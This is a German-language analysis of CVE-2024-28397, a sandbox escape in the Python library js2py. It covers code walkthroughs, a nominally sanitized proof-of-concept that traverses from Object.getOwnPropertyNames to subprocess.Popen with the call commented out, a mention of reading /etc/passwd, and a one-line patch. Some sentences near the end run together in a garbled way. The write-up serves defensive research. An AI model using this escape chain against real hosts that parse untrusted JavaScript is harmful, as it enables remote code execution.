
Detaillierte Analyse von CVE-2024-28397, einer Sandbox-Escape-Sicherheitslücke in js2py, die RCE über Python-Objekt-Traversal ermöglicht. Enthält Codeanalyse, PoC und Empfehlungen zur Behebung für defensive Forschung.
js2py ist ein beliebtes Python-Paket, das JavaScript-Code innerhalb des Python-Interpreters auswerten kann. Es wird von verschiedenen Web-Scrapern verwendet, um JavaScript-Code auf Websites zu parsen.
Es existiert eine Schwachstelle in der Implementierung einer globalen Variable innerhalb von js2py, die es einem Angreifer ermöglicht, eine Referenz auf ein Python-Objekt in der js2py-Umgebung zu erhalten, wodurch der Angreifer die JS-Umgebung verlassen und beliebige Befehle auf dem Host ausführen kann.
Normalerweise würde ein Benutzer js2py.disable_pyimport() aufrufen, um zu verhindern, dass JavaScript-Code die js2py-Umgebung verlässt. Aber mit dieser Schwachstelle kann ein Angreifer diese Einschränkung umgehen und jeden Befehl auf dem Zielhost ausführen.
Der Bedrohungsakteur kann eine Website mit einer bösartigen JavaScript-Datei hosten oder ein bösartiges Skript über eine HTTP-API senden, das vom Opfer geparst wird. Dadurch kann der Akteur eine Remote-Codeausführung auf dem Host erreichen, indem er beliebige Shell-Befehle auf dem Ziel ausführt.
js2py ist eine Python-Bibliothek, die häufig in Crawlern verwendet wird, um JS-Code in einer nativen Python-Umgebung zu parsen und auszuführen. Crawler verwenden im Allgemeinen js2py, um aus dem Web erhaltenen JS-Code zu parsen und so die Browserumgebung zu simulieren.
Allerdings hat js2py eine Funktion, die für Crawler äußerst gefährlich ist: es unterstützt das Importieren und Verwenden von Python-Paketen in JS, was bedeutet, dass js2py JS-Code erlaubt, verschiedene Python-Bibliotheken zu manipulieren und direkt mit der Python-Umgebung zu interagieren. Genau deshalb können wir eine Methode ähnlich wie Jinja SSTI verwenden und in der js2py-Umgebung ein Python-Objekt nutzen, um die subprocess.Popen-Klasse zu finden und RCE zu erreichen.
Da js2py zudem ein Paket aus der Python2-Ära ist, weit verbreitet und lange nicht gewartet, sollte es relativ einfach zu analysieren sein.
Nach dem Setzen von Breakpoints kann festgestellt werden, dass der Ort, an dem der JS-Code tatsächlich geparst wird, die Eval-Funktion von host/jseval.py ist. Durch das Setzen von Breakpoints darin kann man den von js2py konvertierten Python-Code sehen.
Zum Beispiel dieses JS-Code-Stück:
let a = 114
console.log(a)
Wird letztendlich in dieses Python-Code-Stück geparst:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
Es ist zu sehen, dass Variablen in der JS-Ebene alle in der Python-Variable var gespeichert werden. Alle Werte der JS-Ebene werden sauber als PyJs-Klasse gespeichert (hier ist Js eigentlich eine Funktion, wie später erklärt). Funktionen werden ebenfalls über callprop aufgerufen. Unter normalen Umständen kann JS-Code keine Python-Objekte berühren.
Beim Betrachten des Codes fiel auf, dass der Autor sehr gerne String-Konkatenation verwendete, um den endgültigen Python-Code zu konstruieren. Daher kam der Gedanke auf, ob JS-Code konstruiert werden könnte, um illegalen Python-Code zu erzeugen und so beliebigen Python-Code zu konstruieren und auszuführen. Da dieser Weg jedoch viel schwieriger ist als der spätere, wurde er nicht weiter verfolgt.
Um ein Python-Objekt zu erhalten und RCE zu implementieren, muss man sich natürlich zuerst ansehen, wie Python-Objekte in PyJs-Objekte konvertiert werden.
Zuerst die Implementierung der Js-Funktion in base.py lokalisieren. Die Rolle der Js-Funktion ist es, den eingehenden Python-Wert in den entsprechenden PyJs-Wert zu konvertieren, sodass JS-Code diese Werte manipulieren kann.
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # several lines omitted here
else: # try to convert to js object
return py_wrap(val)
Es ist zu sehen, dass die grundlegenden Python-Datenstrukturen wie bool, float, list usw. in dedizierte PyJs-Klassen konvertiert werden, während andere Datentypen von py_wrap behandelt werden und schließlich zur PyObjectWrapper-Klasse werden.
Gewöhnliche PyJs-Klassen repräsentieren Zahlen, Booleans und andere gängige Daten, während PyObjectWrapper spezielle Daten wie Python-Module repräsentiert. Solange wir also Daten vom Typ PyObjectWrapper erhalten, können wir eine Attributzugriffsmethode ähnlich wie Jinja SSTI verwenden, um RCE zu erreichen.
Im Allgemeinen können Daten vom Typ PyObjectWrapper nur erhalten werden, wenn die Funktion zum Importieren von Python-Paketen aktiviert ist, aber da js2py lange nicht gewartet wird und die Unterschiede zwischen Python2 und Python3 nicht sorgfältig berücksichtigt hat, kam es letztendlich zu einer Sandbox-Escape-Schwachstelle.
Eine Randbemerkung: Beim Betrachten der Implementierung von PyJs sah ich, dass der Autor diese Codezeilen geschrieben hat:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
Man kann sagen, dass der Autor Python3 extrem ablehnt.
Während js2py die Funktion zum Konvertieren von JS-Code in Python-Code bereitstellt, bietet es auch mehrere integrierte Objekte wie console und Object, um den normalen Ablauf von JS-Code zu unterstützen.
Unser ultimatives Ziel ist es, die Einschränkung von pyimport zu umgehen und ein PyObjectWrapper-Objekt zu erhalten. Aus der obigen Analyse ist ersichtlich, dass wir, um aus dem Nichts ein PyObjectWrapper-Objekt zu erhalten, nur von der Implementierung eingebauter Objekte ausgehen und ein PyObjectWrapper-Objekt daraus extrahieren können.
Beginnen Sie mit dem Scannen des Implementierungscodes von eingebauten Objekten. In constructors/jsobject.py sieht man die Implementierung verschiedener Funktionen im Object-Objekt, einschließlich häufig verwendeter Funktionen wie Object.keys.
Dann sieht man diese Funktion:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py verwendet dict, um Objekte in JS darzustellen. Das keys() hier ruft das keys() des Python-Wörterbuchs auf. Jeder, der Python studiert hat, sollte wissen, dass diese Funktion in Python2 eine Liste zurückgibt, während sie in Python3 eine dict_keys-Ansicht zurückgibt. Gemäß der obigen Implementierung der Js-Funktion wird dieses dict_keys in PyObjectWrapper konvertiert, und somit können wir RCE erreichen.
Zuerst überprüfen, ob getOwnPropertyNames ein PyObjectWrapper erhalten kann:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
Es hat PyObjectWrapper(dict_keys([])) ausgegeben, natürlich kann es das.
Dann, basierend auf diesem Objekt, erhalten wir die __getattribute__-Funktion, und wir können leicht RCE erreichen. Beim Schreiben des PoC wurde zu kompliziert gedacht; tatsächlich reicht es, __class__.__base__ zu verwenden, um die __getattribute__-Funktion zu erhalten.
Dann, basierend auf der __getattribute__-Funktion, das object-Objekt erhalten, und dann eine rekursive Funktion schreiben, um jede Klasse eines beliebigen Moduls zu finden. Hier wird für RCE subprocess.Popen gesucht.
HINWEIS (bereinigt): Das folgende Code-Snippet wird zu Bildungs- und Forschungszwecken gezeigt. Es wurde bereinigt, um Missbrauch zu vermeiden: sensible Shell-Befehle und direkte Systemausführung wurden durch Platzhalter ersetzt. Führen Sie dies nicht gegen Produktions- oder ungepatchte Systeme aus.
import js2py
code = """
let cmd = "DUMMY_CMD" # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""
# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.
pip install js2py aus, um js2py zu installieren, und führen Sie ein bereinigtes PoC-Skript in einer isolierten Laborumgebung aus.head -n 1 /etc/passwd und Taschenrechner auszuführen; in diesem Repository sind diese durch sichere Platzhalter ersetzt.PyObjectWrapper von Object.getOwnPropertyNames({}) erhalten werden kann, was Attribut-Traversierung ermöglicht, um zu Python-Interna zu gelangen.Da das Problem in der getOwnPropertyNames-Funktion liegt, behebt die Konvertierung des zurückgegebenen dict_keys in eine normale Liste das Problem. Ein vorgeschlagener Patch ist, obj.own.keys() mit list(...) zu umschließen, bevor es zurückgegeben wird.
Dieses Repository dient ausschließlich Bildungs- und defensiven Forschungszwecken. Verwenden Sie keine der hier enthaltenen Informationen oder Code, um Systeme ohne ausdrückliche Genehmigung anzugreifen. Die PoC-Ausschnitte wurden bereinigt, um Missbrauch zu vermeiden.
Zusammengestellt und übersetzt für Forschungs- und Verteidigungszwecke.